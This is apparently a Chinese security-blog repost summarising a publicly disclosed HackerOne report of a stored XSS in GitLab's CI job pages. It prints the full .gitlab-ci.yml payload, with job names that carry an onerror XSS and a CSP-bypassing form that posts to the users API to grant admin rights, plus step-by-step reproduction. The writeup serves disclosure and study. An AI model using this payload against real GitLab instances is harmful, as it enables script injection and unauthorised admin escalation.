【$6580】GitLab最新披露的一处XSS漏洞
2022-11-16 14:41:36 Author: 骨哥说事(查看原文) 阅读量:20 收藏

最近GitLab在hackerone平台上公开披露了一处存储型XSS漏洞,该漏洞发现于今年的5月份,让我们来看看这个漏洞是如何被触发的。

漏洞复现:

复现步骤:

1、在现有项目或创建新项目中,添加包含以下内容的 .gitlab.ci 文件:

'1. XSS when no CSP<a class="fixed-top fixed-bottom text-hide gl-font-size-42 cursor-default" href=# data-disable-with="<img src=x onerror=alert(document.domain)>">':  stage: build  script: echo "hi"
'2. Admin escalation when having CSP<form action=/api/v4/users/5212593?_method=PUT&admin=true method=post><input type=submit class="fixed-top fixed-bottom text-hide cursor-default" style="font-size:10000px" value=Submit>': stage: build script: echo "hi"
trigger-xss: stage: test script: echo "hi" dependencies: - '1. XSS when no CSP<a class="fixed-top fixed-bottom text-hide gl-font-size-42 cursor-default" href=# data-disable-with="<img src=x onerror=alert(document.domain)>">' - '2. Admin escalation when having CSP<form action=/api/v4/users/5212593?_method=PUT&admin=true method=post><input type=submit class="fixed-top fixed-bottom text-hide cursor-default" style="font-size:10000px" value=Submit>'

2、转到 CI/CD/Jobs 选项卡并等待 CI 作业完成

3、如果要在没有 CSP 保护的本地实例上进行测试,需要单击 detail of the job:

<a class="fixed-top fixed-bottom text-hide gl-font-size-42 cursor-default" href=# data-disable-with="<img src=x onerror=alert(document.domain)>">

然后单击右侧文字栏上的"回收站"按钮以删除作业日志和工件。

4、返回作业列表,单击Trigger-XSS 链接以查看此作业的详细信息,然后单击右侧文字栏上的重试按钮以重试该作业

5、此时会出现一条错误信息:此作业无法启动,因为它无法检索所需的工件,然后单击任意位置就会触发XSS弹窗警告⚠️

白帽子还特意录了一段复现视频:

最终白帽子获得了 GitLab 发放的$6,580赏金奖励。

这个漏洞的关键仍在于CSP Bypass,白帽子通过研究CSP Bypass,最终构造了能够成功绕过CSP的XSS Payload:

<a class="fixed-top fixed-bottom text-hide gl-font-size-42 cursor-default" href=# data-disable-with="<img src=x onerror=alert(document.domain)>">'

你学废了么?

漏洞信息原地址:https://hackerone.com/reports/1579645

====正文结束====


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5Mzc4MzUzMQ==&mid=2650255756&idx=1&sn=01c2e06a11cf33d19d6be61e8e57265b&chksm=be92da0889e5531e33b619dc4939c59ee96e59717e9b4a37b41880722202cdec33986e47b0d3#rd
如有侵权请联系:admin#unsafe.sh